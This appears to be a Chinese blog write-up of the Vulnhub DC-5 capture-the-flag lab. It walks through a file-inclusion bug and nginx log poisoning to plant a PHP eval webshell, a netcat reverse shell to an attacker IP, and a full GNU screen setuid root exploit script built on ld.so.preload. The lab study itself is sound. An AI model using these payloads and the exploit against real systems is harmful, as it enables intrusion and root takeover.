• Vulnhub DC5


    靶机简介

    DC-5是另一个专门建造的易受攻击的实验室,旨在获得渗透测试领域的经验。据我所知,只有一个可以利用的入口点(也没有SSH)。这个特定的入口点可能很难识别,但它确实存在。你需要寻找一些不寻常的东西(一些随着页面的刷新而改变的东西)。这将有望为漏洞可能涉及的问题提供一些思路。这个挑战的最终目标是获得根并阅读唯一的旗帜。

    getshell

    提示我们要刷新页面,有的东西要刷新页面而随之改变,通过这个线索找到了thankyou.php刷新页面会更新页脚

    有时候是2017,有时候2018有时候2019

    而后又通过目录扫描发现了footer.php

    那么可以推测的是,thankphp通过文件包含包含了footer.php。但不知道写没有写死,如果没写死的话,这里就存在文件包含漏洞。

    而事实证明是没有写死的

    通过文件包含读取/etc/passwd

    发现存在Mysql,那可以读一读mysql的配置文件

    什么消息都没有得到。用nmap探测以下中间件

    通过包含nginx日志getshell,nginx在linux下的默认路径/var/log/nginx/,先thankyou.php中file参数输入一句话。

    thankyou.php?file=<?php @eval($_POST[dimp]);?>

    而这句话会引起报错thankyou.php报错,,这个时候再去包含error.log,即可成功getshell

    注意,之前一直在中间一句话中间加参数,即file=<?php+eval($_POST[dimp]);?>但是一直连接失败,后来把加号去掉就好了,可能因为写入日志的时候并没有转义加号。

    提权

    先反弹shell,由于目标环境存在nc,直接nc反弹

    nc -e /bin/bash 192.168.43.201 4444

    系统信息收集

    uname -a
    cat /etc/*release
    

    但是并没有找到合适的提权漏洞

    查看suid权限

    然后一个一个百度搜有没有什么提权办法,当我搜到screen提权时。。

    好的我知道了,

    架设一个服务器,采用wget的方式下载poc到靶机上 (我傻了,用蚁剑上传不就行了)

    但是却发现无法运行

    查看这个.sh文件

    echo "~ gnu/screenroot ~"
    echo "[+] First, we create our shell and library..."
    cat << EOF > /tmp/libhax.c
    #include <stdio.h>
    #include <sys/types.h>
    #include <unistd.h>
    __attribute__ ((__constructor__))
    void dropshell(void){
        chown("/tmp/rootshell", 0, 0);
        chmod("/tmp/rootshell", 04755);
        unlink("/etc/ld.so.preload");
        printf("[+] done!
    ");
    }
    EOF
    gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c
    rm -f /tmp/libhax.c
    cat << EOF > /tmp/rootshell.c
    #include <stdio.h>
    int main(void){
        setuid(0);
        setgid(0);
        seteuid(0);
        setegid(0);
        execvp("/bin/sh", NULL, NULL);
    }
    EOF
    gcc -o /tmp/rootshell /tmp/rootshell.c
    rm -f /tmp/rootshell.c
    echo "[+] Now we create our /etc/ld.so.preload file..."
    cd /etc
    umask 000 # because
    screen -D -m -L ld.so.preload echo -ne  "x0a/tmp/libhax.so" # newline needed
    echo "[+] Triggering..."
    screen -ls # screen itself is setuid, so... 
    /tmp/rootshell
    

    发现它就是编译了两个c文件,然后运行。那么我们直接编译好在上传到靶机中运行即可。先创建libhax.c和rootshell.c,然后根据上面这个exp的命令编译

    gcc -fPIC -shared -ldl -o libhax.so libhax.c

    gcc -o rootshell rootshell.c

    然后将两个生成的文件通过蚁剑上传到靶机,然后根据exp输入命令一步一步走就行了

    查看最终flag

    总结

    1.不看wp,真的很难发现有个文件包含

    2.有文件包含后,根据中间件读取日志

    3.nginx包含日志文件getshell

    4.suid提权,把每个suid权限挨个百度搜,看有没有办法提

  • 相关阅读:
    MarkDown
    【ImageView】ImageView点击事件报错空指针
    【原创】初识懒人开发库---ButterKnife
    将博客搬至CSDN
    【练习】内容提供器二、创建自己的内容提供器并测试
    【练习】内容提供器一、访问其他程序的数据
    【转载】Android数据存储之SQLite
    【实战】广播实践,实现登录强制下线
    【实战】聊天窗口的实现
    【转载】Adapter用法总结大全
  • 原文地址:https://www.cnblogs.com/tlbjiayou/p/13960253.html
Copyright © 2020-2023  润新知